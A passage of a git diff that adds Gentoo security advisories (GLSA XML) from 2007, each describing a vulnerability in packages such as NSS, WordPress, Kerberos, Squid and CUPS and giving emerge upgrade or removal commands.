+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0907">CVE-2007-0907</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0908">CVE-2007-0908</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0909">CVE-2007-0909</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0910">CVE-2007-0910</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0911">CVE-2007-0911</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0988">CVE-2007-0988</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1286">CVE-2007-1286</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1375">CVE-2007-1375</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1376">CVE-2007-1376</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1380">CVE-2007-1380</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1383">CVE-2007-1383</uri>
+    <uri link="http://www.php.net/releases/4_4_5.php">PHP 4.4.5 Release Announcement</uri>
+    <uri link="http://www.php.net/releases/5_2_1.php">PHP 5.2.1 Release Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Mar 2007 13:36:33 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 16 Mar 2007 10:54:22 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Mar 2007 11:47:58 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-22.xml b/xml/htdocs/security/en/glsa/glsa-200703-22.xml
new file mode 100644
index 00000000..29cb55e7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-22">
+  <title>Mozilla Network Security Service: Remote execution of arbitrary code</title>
+  <synopsis>
+    The Mozilla Network Security Services libraries are vulnerable to two
+    buffer overflows that could result in the remote execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">nss</product>
+  <announced>March 20, 2007</announced>
+  <revised>March 20, 2007: 01</revised>
+  <bug>165555</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/nss" auto="yes" arch="*">
+      <unaffected range="ge">3.11.5</unaffected>
+      <vulnerable range="lt">3.11.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Network Security Service is a library implementing security
+    features like SSL v2/v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12,
+    S/MIME and X.509 certificates.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense has reported two potential buffer overflow vulnerabilities
+    found by researcher "regenrecht" in the code implementing the SSLv2
+    protocol.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted SSL master key to a
+    server using NSS for the SSLv2 protocol, or entice a user to connect to
+    a malicious server with a client-side application using NSS like one of
+    the Mozilla products. This could trigger the vulnerabilities and result
+    in the possible execution of arbitrary code with the rights of the
+    vulnerable application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the SSLv2 protocol in the applications using NSS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NSS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/nss-3.11.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0008">CVE-2007-0008</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0009">CVE-2007-0009</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 13 Mar 2007 23:41:07 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 16 Mar 2007 11:51:35 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-23.xml b/xml/htdocs/security/en/glsa/glsa-200703-23.xml
new file mode 100644
index 00000000..6023907b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-23.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-23">
+  <title>WordPress: Multiple vulnerabilities</title>
+  <synopsis>
+    Wordpress contains several cross-site scripting, cross-site request forgery
+    and information leak vulnerabilities.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>March 20, 2007</announced>
+  <revised>March 20, 2007: 01</revised>
+  <bug>168529</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <vulnerable range="le">2.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a popular personal publishing platform with a web
+    interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    WordPress contains cross-site scripting or cross-site scripting forgery
+    vulnerabilities reported by:
+    </p>
+    <ul><li>g30rg3_x in the "year"
+    parameter of the wp_title() function</li>
+    <li>Alexander Concha in the
+    "demo" parameter of wp-admin/admin.php</li>
+    <li>Samenspender and Stefan
+    Friedli in the "post" parameter of wp-admin/post.php and
+    wp-admin/page.php, in the "cat_ID" parameter of wp-admin/categories.php
+    and in the "c" parameter of wp-admin/comment.php</li>
+    <li>PsychoGun in
+    the "file" parameter of wp-admin/templates.php</li>
+    </ul> <p>
+    </p>
+    <p>
+    Additionally, WordPress prints the full PHP script paths in some error
+    messages.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    The cross-site scripting vulnerabilities can be triggered to steal
+    browser session data or cookies. A remote attacker can entice a user to
+    browse to a specially crafted web page that can trigger the cross-site
+    request forgery vulnerability and perform arbitrary WordPress actions
+    with the permissions of the user. Additionally, the path disclosure
+    vulnerability could help an attacker to perform other attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all these
+    vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Due to the numerous recently discovered vulnerabilities in WordPress,
+    this package has been masked in the portage tree. All WordPress users
+    are advised to unmerge it.
+    </p>
+    <code>
+    
+    # emerge --unmerge &quot;www-apps/wordpress&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1049">CVE-2007-1049</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1230">CVE-2007-1230</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1244">CVE-2007-1244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409">CVE-2007-1409</uri>
+    <uri link="http://secunia.com/advisories/24430/">SA 24430</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 09 Mar 2007 22:36:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 17 Mar 2007 15:44:31 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 20 Mar 2007 11:36:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-24.xml b/xml/htdocs/security/en/glsa/glsa-200703-24.xml
new file mode 100644
index 00000000..305d3982
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-24.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-24">
+  <title>mgv: Stack overflow in included gv code</title>
+  <synopsis>
+    mgv improperly handles user-supplied data possibly allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mgv</product>
+  <announced>March 26, 2007</announced>
+  <revised>March 26, 2007: 01</revised>
+  <bug>154645</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/mgv" auto="yes" arch="*">
+      <vulnerable range="le">3.1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mgv is a Postscript viewer with a Motif interface, based on Ghostview
+    and GNU gv.
+    </p>
+  </background>
+  <description>
+    <p>
+    mgv includes code from gv that does not properly boundary check
+    user-supplied data before copying it into process buffers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted Postscript
+    document with mgv and possibly execute arbitrary code with the rights
+    of the user running mgv.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    mgv is currently unmaintained, and the mgv website no longer exists. As
+    such, the mgv package has been masked in Portage. We recommend that
+    users select an alternate Postscript viewer such as ghostview or
+    GSview, and unmerge mgv:
+    </p>
+    <code>
+    # emerge --unmerge &quot;app-text/mgv&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5864">CVE-2006-5864</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200611-20.xml">GLSA 200611-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Mar 2007 07:32:05 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 20 Mar 2007 02:27:18 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 26 Mar 2007 19:59:57 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-25.xml b/xml/htdocs/security/en/glsa/glsa-200703-25.xml
new file mode 100644
index 00000000..1f974e6c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-25.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-25">
+  <title>Ekiga: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerability in Ekiga may allow the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">ekiga</product>
+  <announced>March 29, 2007</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>167643</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-voip/ekiga" auto="yes" arch="*">
+      <unaffected range="ge">2.0.7</unaffected>
+      <vulnerable range="lt">2.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ekiga is an open source VoIP and video conferencing application.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mu Security has discovered that Ekiga fails to implement formatted
+    printing correctly.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to crash Ekiga and
+    potentially execute arbitrary code by sending a specially crafted Q.931
+    SETUP packet to a victim.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ekiga users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-voip/ekiga-2.0.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1006">CVE-2007-1006</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 05 Mar 2007 17:17:52 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 05 Mar 2007 18:05:22 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 21:26:33 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-26.xml b/xml/htdocs/security/en/glsa/glsa-200703-26.xml
new file mode 100644
index 00000000..2a5dc2fe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-26.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-26">
+  <title>file: Integer underflow</title>
+  <synopsis>
+    A buffer underflow vulnerability has been reported in file allowing for the
+    user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">file</product>
+  <announced>March 30, 2007</announced>
+  <revised>March 30, 2007: 01</revised>
+  <bug>171452</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/file" auto="yes" arch="*">
+      <unaffected range="ge">4.20</unaffected>
+      <vulnerable range="lt">4.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    file is a utility that guesses a file format by scanning binary data
+    for patterns.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jean-Sebastien Guay-Leroux reported an integer underflow in
+    file_printf function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user to run the "file" program on a
+    specially crafted file that would trigger a heap-based buffer overflow
+    possibly leading to the execution of arbitrary code with the rights of
+    the user running "file". Note that this vulnerability could be also
+    triggered through an automatic file scanner like amavisd-new.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since file is a system package, all Gentoo users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/file-4.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1536">CVE-2007-1536</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Mar 2007 17:59:07 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 26 Mar 2007 20:27:32 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 21:14:57 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-27.xml b/xml/htdocs/security/en/glsa/glsa-200703-27.xml
new file mode 100644
index 00000000..fbad2ac9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-27.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-27">
+  <title>Squid: Denial of Service</title>
+  <synopsis>
+    Squid is affected by a Denial of Service vulnerability.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>March 31, 2007</announced>
+  <revised>March 31, 2007: 01</revised>
+  <bug>171681</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.6.12</unaffected>
+      <vulnerable range="lt">2.6.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a multi-protocol proxy server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Squid incorrectly handles TRACE requests that contain a "Max-Forwards"
+    header field with value "0" in the clientProcessRequest() function.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker can send specially crafted TRACE HTTP requests that
+    will terminate the child process. A quickly repeated attack will lead
+    to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.6.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1560">CVE-2007-1560</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Mar 2007 22:35:04 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 26 Mar 2007 20:36:04 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 21:14:51 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200703-28.xml b/xml/htdocs/security/en/glsa/glsa-200703-28.xml
new file mode 100644
index 00000000..bf2e218e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200703-28.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200703-28">
+  <title>CUPS: Denial of Service</title>
+  <synopsis>
+    CUPS incorrectly handles partially-negotiated SSL connections allowing for
+    a Denial of Service.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>March 31, 2007</announced>
+  <revised>March 31, 2007: 01</revised>
+  <bug>170881</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.2.9</unaffected>
+      <vulnerable range="lt">1.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS provides a portable printing layer for UNIX-based operating
+    systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    CUPS does not properly handle partially-negotiated SSL connections.
+    Upon receiving a partially-negotiated SSL connection, CUPS no longer
+    accepts further incoming connections, as the initial connection never
+    times out.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could partially negotiate an SSL connection with a CUPS
+    server, and cause future connections to that server to fail, resulting
+    in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.2.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0720">CVE-2007-0720</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 29 Mar 2007 14:48:39 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 29 Mar 2007 20:55:23 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Mar 2007 20:58:50 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-01.xml b/xml/htdocs/security/en/glsa/glsa-200704-01.xml
new file mode 100644
index 00000000..b60b8b35
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-01.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-01">
+  <title>Asterisk: Two SIP Denial of Service vulnerabilities</title>
+  <synopsis>
+    Asterisk is vulnerable to two Denial of Service issues in the SIP channel.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>April 02, 2007</announced>
+  <revised>April 02, 2007: 01</revised>
+  <bug>171467</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.14-r2</unaffected>
+      <unaffected range="rge">1.0.12-r2</unaffected>
+      <vulnerable range="lt">1.2.14-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source implementation of a telephone private branch
+    exchange (PBX).
+    </p>
+  </background>
+  <description>
+    <p>
+    The Madynes research team at INRIA has discovered that Asterisk
+    contains a null pointer dereferencing error in the SIP channel when
+    handling INVITE messages. Furthermore qwerty1979 discovered that
+    Asterisk 1.2.x fails to properly handle SIP responses with return code
+    0.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause an Asterisk server listening for SIP
+    messages to crash by sending a specially crafted SIP message or
+    answering with a 0 return code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-misc/asterisk</code>
+    <p>
+    Note: Asterisk 1.0.x is no longer supported upstream so users should
+    consider upgrading to Asterisk 1.2.x.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1561">CVE-2007-1561</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1594">CVE-2007-1594</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 20 Mar 2007 20:55:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 02 Apr 2007 16:33:39 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-02.xml b/xml/htdocs/security/en/glsa/glsa-200704-02.xml
new file mode 100644
index 00000000..8c897336
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-02.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-02">
+  <title>MIT Kerberos 5: Arbitrary remote code execution</title>
+  <synopsis>
+    Multiple vulnerabilities in MIT Kerberos 5 could potentially result in
+    unauthenticated remote root code execution.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>April 03, 2007</announced>
+  <revised>April 03, 2007: 01</revised>
+  <bug>171889</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.5.2-r1</unaffected>
+      <vulnerable range="lt">1.5.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Kerberos telnet daemon fails to properly handle usernames allowing
+    unauthorized access to any account (CVE-2007-0956). The Kerberos
+    administration daemon, the KDC and possibly other applications using
+    the MIT Kerberos libraries are vulnerable to the following issues. The
+    krb5_klog_syslog function from the kadm5 library fails to properly
+    validate input leading to a stack overflow (CVE-2007-0957). The GSS-API
+    library is vulnerable to a double-free attack (CVE-2007-1216).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By exploiting the telnet vulnerability a remote attacker may obtain
+    access with root privileges. The remaining vulnerabilities may allow an
+    authenticated remote attacker to execute arbitrary code with root
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.5.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0956">CVE-2007-0956</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0957">CVE-2007-0957</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1216">CVE-2007-1216</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 02 Apr 2007 16:29:27 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 20:30:58 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-03.xml b/xml/htdocs/security/en/glsa/glsa-200704-03.xml
new file mode 100644
index 00000000..777d72df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-03.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-03">
+  <title>OpenAFS: Privilege escalation</title>
+  <synopsis>
+    OpenAFS is subject to a design flaw that could allow privilege escalation
+    on the client.
+  </synopsis>
+  <product type="ebuild">openafs</product>
+  <announced>April 03, 2007</announced>
+  <revised>April 03, 2007: 01</revised>
+  <bug>171662</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/openafs" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4</unaffected>
+      <vulnerable range="lt">1.4.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenAFS is a distributed network filesystem.
+    </p>
+  </background>
+  <description>
+    <p>
+    Benjamin Bennett discovered that the OpenAFS client contains a design
+    flaw where cache managers do not use authenticated server connections
+    when performing actions not requested by a user.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If setuid is enabled on the client cells, an attacker can supply a fake
+    FetchStatus reply that sets setuid and root ownership of a file being
+    executed. This could provide root access on the client. Remote attacks
+    may be possible if an attacker can entice a user to execute a known
+    file. Note that setuid is enabled by default in versions of OpenAFS
+    prior to 1.4.4.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the setuid functionality on all client cells. This is now the
+    default configuration in OpenAFS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenAFS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/openafs-1.4.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1507">CVE-2007-1507</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 25 Mar 2007 06:35:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 28 Mar 2007 13:53:51 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Apr 2007 22:29:30 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200704-04.xml b/xml/htdocs/security/en/glsa/glsa-200704-04.xml
new file mode 100644
index 00000000..34b8121a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200704-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200704-04">
+  <title>OpenPBS: Multiple vulnerabilities</title>
+  <synopsis>
+    OpenPBS contains unspecified vulnerabilities which may allow for the remote
+    execution of arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">openpbs</product>
+  <announced>April 03, 2007</announced>
+  <revised>April 03, 2007: 01</revised>
+  <bug>153495</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="sys-cluster/openpbs" auto="yes" arch="*">
+      <vulnerable range="le">2.3.16-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenPBS is the original version of the Portable Batch System. It is a
+    flexible batch queueing system developed for NASA in the early to
+    mid-1990s.
+    </p>
+  </background>
+  <description>
+    <p>
+    SUSE reported vulnerabilities due to unspecified errors in OpenPBS.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By unspecified attack vectors an attacker might be able execute
+    arbitrary code with the privileges of the user running openpbs, which
+    might be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    OpenPBS has been masked in the Portage tree for replacement by Torque.
+    All OpenPBS users should unmerge OpenPBS and switch to Torque.
+    </p>
+    <code>
+    
+    # emerge --ask --unmerge sys-cluster/openpbs
